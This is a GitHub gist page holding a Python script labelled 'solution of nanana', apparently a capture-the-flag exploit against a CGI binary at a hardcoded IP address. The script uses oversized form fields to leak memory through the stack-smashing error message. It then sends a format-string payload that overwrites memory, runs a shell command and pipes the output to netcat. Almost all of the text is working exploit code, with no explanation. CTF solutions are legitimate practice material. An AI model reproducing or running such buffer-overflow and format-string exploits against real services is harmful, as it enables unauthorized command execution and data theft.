Skip to content

Instantly share code, notes, and snippets.

@orangetw
Created October 19, 2015 08:20
Show Gist options
  • Save orangetw/583a73f58d49b1a3fc14 to your computer and use it in GitHub Desktop.
Save orangetw/583a73f58d49b1a3fc14 to your computer and use it in GitHub Desktop.
solution of nanana
import requests
from urllib import urlencode
from struct import pack, unpack
URL = 'http://54.92.88.102/cgi-bin/nanana'
def leak(address):
address = pack('I', address)
address = address.strip('\x00')
payload = {
'username': 'A'*349,
'password': 'B'*380,
'job': 'C'*392 + address
}
r = requests.get(URL+'?'+urlencode(payload))
l = r.headers['*** stack smashing detected ***']
l = l.strip(' terminated')
l = l.ljust(8, '\x00')
try:
return unpack('Q', l)
except:
return l
def e(cmd, pwd):
payload = {
'username': cmd,
'password': pwd,
'job': '\x48\x10\x60',
'action': '%198x%15$hhn'
}
print urlencode(payload)
r = requests.get(URL+'?'+urlencode(payload))
if __name__ == '__main__':
pwd = leak(0x601090)
print 'pwd @ %s' % pwd
e('id | nc 127.0.0.1 12345',pwd=pwd)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment